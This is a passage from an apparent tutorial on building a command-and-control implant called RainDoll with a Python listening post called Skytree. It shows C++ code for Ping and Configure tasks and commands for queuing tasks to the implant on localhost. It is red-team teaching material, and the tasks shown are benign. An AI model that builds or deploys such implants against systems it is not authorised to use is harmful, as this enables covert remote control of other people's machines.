We need to declare this if-conditional logic for every task type that we add. The good news is that the code will be the same for every task. The only thing to keep in mind is that, if we want to pass any parameters to the task, we'll want to declare those parameters within the task code. For the Ping task, we don't need to pass any parameters. But, for the Configure task, we will need to pass a variable for the dwell time, running status and a setter function. Lastly, we have an error message that we throw if nothing matched.
The next section we'll cover is the actual code for each task, currently it's just Ping and Configure. We'll be adding more tasks after we perform a test run of the current implant code to ensure everything is working as expected:
1
// Tasks
2
// ===========================================================================================
3
4
// PingTask
5
// -------------------------------------------------------------------------------------------
6
PingTask::PingTask(const boost::uuids::uuid& id)
7
: id{ id } {}
8
9
Result PingTask::run() const {
10
const auto pingResult = "PONG!";
11
return Result{ id, pingResult, true };
12
}
13
14
// ConfigureTask
15
// -------------------------------------------------------------------------------------------
16
// Instantiate the implant configuration
17
Configuration::Configuration(const double meanDwell, const bool isRunning)
18
: meanDwell(meanDwell), isRunning(isRunning) {}
19
20
ConfigureTask::ConfigureTask(const boost::uuids::uuid& id,
21
double meanDwell,
22
bool isRunning,
23
std::function<void(const Configuration&)> setter)
24
: id{ id },
25
meanDwell{ meanDwell },
26
isRunning{ isRunning },
27
setter{ std::move(setter) } {}
28
29
Result ConfigureTask::run() const {
30
// Call setter to set the implant configuration, mean dwell time and running status
31
setter(Configuration{ meanDwell, isRunning });
32
return Result{ id, "Configuration successful!", true };
33
}
34
35
// ===========================================================================================
Copied!
The Ping task starts out by defining the constructor, which just instantiates the "id" variable. Next, are the actions that the task will perform within the "run" method. In the case of Ping, all it's going to do is set a variable called "pingResult" with the text "PONG!". Then, it's going to return a Result object with the result ID, the contents of the pingResult variable and a success status of "true". So, what we should see happen, is that an operator can request the Ping task from the listening post and the implant should respond with "PONG!" in the result contents.
The Configure task is a bit more involved, but it still follows the same general template as the Ping task. First, we need to have a Configuration object, so we declare a constructor that will instantiate the mean dwell time and running status variables. Next, we have our Configure task object constructor that will instantiate the mean dwell time, running status and a setter function. The Configure "run" method will call the setter to define the mean dwell time and running status for the implant configuration. Then, it returns a Result object with the result ID, a string of "Configuration successful!" in the result contents and a success status of "true".
That's it for our implant code! I think we're ready to do a test run with the Ping and Configure tasks to verify that everything is working right.

Implant Test Drive

Start out by building the implant project for x64 platforms and ensuring that there's no errors. If you need a copy of the project so far, you can find it in the folder called "chapter3-2". Start the Skytree listening post by navigating to the "Skytree" folder and running python listening_post.py . After it's running, navigate to http://127.0.0.1:5000/tasks and you should see an empty array. Open up the implant build output folder and run the "RainDoll.exe" file from a command prompt. You should start seeing some messages like the following:
1
2
RainDoll is sending results to listening post...
3
4
Request body: {}
5
6
Listening post response content: []
7
8
Parsing tasks received...
Copied!
If you see the above, you're ready to start sending some tasks to the implant. Make an "AddTasks" POST request that will look like the following:
1
POST /tasks HTTP/1.1
2
Host: localhost:5000
3
Content-Type: application/json
4
5
[
6
{
7
"task_type":"ping"
8
},
9
{
10
"task_type":"configure",
11
"dwell":"10",
12
"running":"true"
13
}
14
]
Copied!
You can run the following copy and paste the following Powershell command to send the above request:
1
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
2
$headers.Add("Content-Type", "application/json")
3
4
$body = "[`n {`n `"task_type`":`"ping`"`n },`n {`n `"task_type`":`"configure`",`n `"dwell`":`"10`",`n `"running`":`"true`"`n }`n]"
5
6
$response = Invoke-RestMethod 'http://localhost:5000/tasks' -Method 'POST' -Headers $headers -Body $body
7
$response | ConvertTo-Json
Copied!
The response from the listening post should be something similar to:
1
[
2
{
3
"_id": {
4